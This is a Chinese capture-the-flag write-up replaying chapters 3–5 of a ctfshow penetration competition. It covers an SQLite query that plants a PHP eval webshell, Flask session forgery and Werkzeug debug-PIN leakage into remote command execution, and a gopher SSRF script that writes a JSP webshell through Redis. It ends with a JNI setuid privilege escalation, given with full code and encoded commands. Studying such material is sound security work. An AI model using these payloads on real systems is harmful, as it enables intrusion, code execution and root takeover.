ctfshow渗透赛复现 前置: 我那时候只做到了第二章,第三章往后的都没做出来,主要是复现3到5章的内容,前两章的大概思路就是通过爆破,可以得到压缩包的密码,然后解一下RSA可以得到网址,账号密码的话,xxx.gxv 那个网站存在一个任意文件下载,通过wpscan api扫出来的 可以下载config.php得到初始的账号密码,然后登录进去,对jwt进行一个爆破,得到密钥,伪造身份,然后就是扫靶机的后台,有一个json文件,里面存在一些可以利用的API 可以进行文件读取 然后就是利用那个ssrf探测内网,到这一步后面就卡着了。
复现 第三章: 登录进去之后查找有用的信息
这个地方有一个内网的ip,但是这个ip并不是php服务器所在的那个ip.
经过爆破,可以得到在172.2.205.5 这个ip地址上有一个 php的服务。
这里当初没想到直接执行sql语句 写入一句话木马。
1 ?dsn=sqlite:shell.php%26username=aaa%26password=bbb%26query=create table "bbb" (name TEXT DEFAULT " <?php file_put_contents ('2.php' ,'<?php eval($_GET[1]);?>' );?> ");
上面的是先访问shell.php 让后面的file_put_contents生效 然后访问1.php才能进行命令执行。
还有其他的写法 功能都差不多
1 2 CREATE TABLE eeee (id INTEGER PRIMARY KEY, php_code TEXT); INSERT INTO eeee (php_code) VALUES (" <?php file_put_contents ('6.php' , '<?php eval($_GET[2]);?>' );?> ");
然后那个邮箱的数字,查看根目录下的secret.txt文件 里面是两次base64编码,解码就行
登录进去之后 在红色邮件中可以找到数字
第四章 第四章是一个python服务,在第二章中能读取到main.py.bak
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 from flask import Flask, request, jsonify, sessionfrom flask import url_forfrom flask import redirectimport loggingfrom os.path import basenamefrom os.path import join app = Flask(__name__) app.config['SECRET_KEY' ] = '3f7a4d5a-a71a-4d9d-8d9a-d5d5d5d5d5d5' @app.route('/' , methods=['GET' ] ) def index (): session['user' ] = 'guest' return {'message' : 'log server is running' }def check_session (): if 'user' not in session: return False if session['user' ] != 'admin' : return False return True @app.route('/key' , methods=['GET' ] ) def get_key (): if not check_session(): return {"message" : "not authorized" } else : with open ('/log_server_key.txt' , 'r' ) as f: key = f.read() return {'message' : 'key' , 'key' : key}@app.route('/set_log_option' ) def set_log_option (): if not check_session(): return {"message" : "not authorized" } logName = request.args.get('logName' ) logFile = request.args.get('logFile' ) app_log = logging.getLogger(logName) app_log.addHandler(logging.FileHandler('./log/' + logFile)) app_log.setLevel(logging.INFO) clear_log_file('./log/' + logFile) return {'message' : 'log option set successfully' }@app.route('/get_log_content' ) def get_log_content (): if not check_session(): return {"message" : "not authorized" } logFile = request.args.get('logFile' ) path = join('log' , basename(logFile)) with open (path, 'r' ) as f: content = f.read() return {'message' : 'log content' , 'content' : content}def clear_log_file (file_path ): with open (file_path, 'w' ): pass if __name__ == '__main__' : app.run(debug=True , host='0.0.0.0' , port=8888 )
开启的是8888端口 然后ip地址是172.2.205.6
现在是guest身份 需要到admin身份才能打开log_server_key.txt文件
利用flask session伪造 伪造admin身份。
1 eyJ1 c 2 VyIjoiYWRtaW4 ifQ.Z4 Ecow.PdkcCtX-ixKbK_jbiuEQ-i7 yoQQ
这个不知道为啥不能直接抓包 然后加一个session
但也能做,利用之前得到的shell, curl一下即可 带上session的话 就加一个 -b
下一步的话 需要获取etc/passwd 那么就要找是否存在任意文件读取,或者是命令执行 之前的任意文件读取禁止了/ ../ 所以读取不了/etc/passwd 那么就看一下哪里能进行rce.
根据返回的信息来看,猜测是获取pin码
果然是,但问题来了,如何获取它,之前做题都是通过文件读取来获取信息,最后通过脚本来生成的,现在没有文件读取的地方,思路卡着了。。。
后面看了writeup 发现是通过设置日志文件来进行输出pin码 具体的原因可以通过分析源码得到。
pin码通过日志输出出来
让cmd等于printpin 并且这个secret我们是知道的 就调用self.log_pin_request() 将调用的结果返回给response
下面是获取pin码的思路:
1 2 3 4 5 6 设置日志 /set_log_option?logName=werkzeug&logFile=2.txt 将pin码输出到日志文件中 /console?__debugger__=yes &cmd=printpin&s=CUhyStmf03Rce4NLdL8y //这里直接base64 编码了 查看pin码 /get_log_content?logFile=2.txt
这里直接bae64编码了
这里得到了pin码 123-330-612
下一步就是命令执行了
要进行命令执行,就需要经过上面的验证才行,命令参数cmd存在,frame存在,有secret 并且通过了pin码验证 最终才进行命令执行 所以下一步要进行pin码验证。
验证cmd参数就应该是pinauth了。
1 /console?__debugger__=yes&cmd =pinauth&pin =635 -303 -500 &s =zZImlIWMg8TT8FOMl4zE
将得到的cookie保存到一个文件中
cookie -c xxx.txt -v -b
cmd这个地方进行命令执行
它是一个无回显的,我们将它写入到./log/1.txt下面 然后再读取即可。
对于一些符号 需要二次编码绕过 比如 &和空格等(如果不base64编码的情况下 可以利用 curl “http://xxxxx/" –cookie “xxxx” -i )
第五章 这个是一个java的框架
这个jerry存在一个 WEb-INF 敏感信息泄露
https://xz.aliyun.com/t/10039?time__1311=Cqjx2DRii%3DqGqGNDQiuDQqOQQIc4Y5vYqx
可以得到redis密码
下面考察的是一个SSRF的gopher写入webshell
先利用dict进行探测一下:
参考博客:https://www.keepnight.com/archives/1177/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from urllib.parse import quote protocol="gopher://" ip="172.2.139.7" port="6380" shell="\n\n<% Runtime.getRuntime().exec(request.getParameter(\"cmd\")); %>\n\n" filename="1.jsp" path="/opt/jetty/webapps/ROOT/" passwd="ctfshow_2025" cmd=["flushall" , "set 1 {}" .format (shell.replace(" " ,"${IFS}" )), "config set dir {}" .format (path), "config set dbfilename {}" .format (filename), "save" ]if passwd: cmd.insert(0 ,"AUTH {}" .format (passwd)) payload=protocol+ip+":" +port+"/_" def redis_format (arr ): CRLF="\r\n" redis_arr = arr.split(" " ) cmd="" cmd+="*" +str (len (redis_arr)) for x in redis_arr: cmd+=CRLF+"$" +str (len ((x.replace("${IFS}" ," " ))))+CRLF+x.replace("${IFS}" ," " ) cmd+=CRLF return cmdif __name__=="__main__" : for x in cmd: payload += quote(redis_format(x)) print (payload)
但是还是有点问题 我经过两次url编码过后发送的数据报500 可能是我的格式有点问题 后面就看了一下官方wp 参考连接:
https://ysynrh77rj.feishu.cn/docx/F3nJdGJHjo1DSBx8c2TcecLrnvh
利用这种方式,就能成功的写马。
由于它是一个无回显的,我们可以将结果输出到/opt/jetty/webapps/ROOT/下
最后就是提权了。
suid的话没啥东西 然后Capabilities 能找到一个提权利用
下面是我理解的大体思路 首先执行setuid的是一个root用户 我们先写一个调用setuid的c文件 然后将其编译为so文件 写一个java代码执行系统命令 让其包含我们编译的so文件 这样当java执行命令时,就会以root身份运行。
第一步,写一个调用setuid的c文件。
1 2 3 4 5 6 #include <jni.h> #include <unistd.h> JNIEXPORT jint JNICALL Java_SetUID_setUID (JNIEnv *env, jobject obj, jint uid) { return setuid(uid); }
上传上去,利用base64编码
1 echo%20 "I2luY2x1ZGUgPGpuaS5oPgovLzExMTExMTExMTExMjIKI2luY2x1ZGUgPHVuaXN0ZC5oPgoKSk5JRVhQT1JUIGppbnQgSk5JQ0FMTCBKYXZhX1NldFVJRF9zZXRVSUQoSk5JRW52ICplbnYsIGpvYmplY3Qgb2JqLCBqaW50IHVpZCkgewogICAgcmV0dXJuIHNldHVpZCh1aWQpOwp9" %20 |base64 %20 -d%20 >/opt/jetty/webapps/ROOT/SetUID.c
然后编写java文件 也上传上去。
1 2 3 4 5 6 7 8 9 10 11 12 13 public class SetUID { static { System.loadLibrary("SetUID" ); } public native int setUID (int uid) ; public static void main (String[] args) throws Exception { SetUID setUID = new SetUID (); int result = setUID.setUID(0 ); Runtime.getRuntime.exec(new String []{"sh" ,"-c" ,"cat /root/*.txt>/opt/jetty/webapps/ROOT/root.txt" }); } }
1 echo%20"cHVibGljIGNsYXNzIFNldFVJRCB7CiAgICBzdGF0aWMgewogICAgICAgIFN5c3RlbS5sb2FkTGlicmFyeSgiU2V0VUlEIik7IAogICAgfQoKICAgIHB1YmxpYyBuYXRpdmUgaW50IHNldFVJRChpbnQgdWlkKTsgCiAgLy9hCiAgICBwdWJsaWMgc3RhdGljIHZvaWQgbWFpbihTdHJpbmdbXSBhcmdzKSB0aHJvd3MgRXhjZXB0aW9uIHsKICAgICAgICBTZXRVSUQgc2V0VUlEID0gbmV3IFNldFVJRCgpOwogICAgICAgIGludCByZXN1bHQgPSBzZXRVSUQuc2V0VUlEKDApOyAKICAgICAgICBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKG5ldyBTdHJpbmdbXXsic2giLCItYyIsImNhdCAvcm9vdC8qLnR4dD4vb3B0L2pldHR5L3dlYmFwcHMvUk9PVC9yb290LnR4dCJ9KTsKICAgIH0KfQ==" %20|base64%20-d%20>/opt/ jetty/webapps/ROOT/SetUID.java
然后编译c文件
1 gcc%20 -shared%20 -fPIC%20 -o%20 /opt/ jetty/webapps/ ROOT/libSetUID.so%20-I${JAVA_HOME}/i nclude%20 -I${JAVA_HOME} /include/ linux%20 /opt/ jetty/webapps/ ROOT/SetUID.c
编译java文件
1 javac%20 /opt/ jetty/webapps/ ROOT/SetUID.java
然后加载编译好的c文件 使得以root身份运行系统命令
1 java%20 -Djava.library.path=/opt/ jetty/webapps/ ROOT/%20-cp%20/ opt/jetty/ webapps/ROOT/ %20 SetUID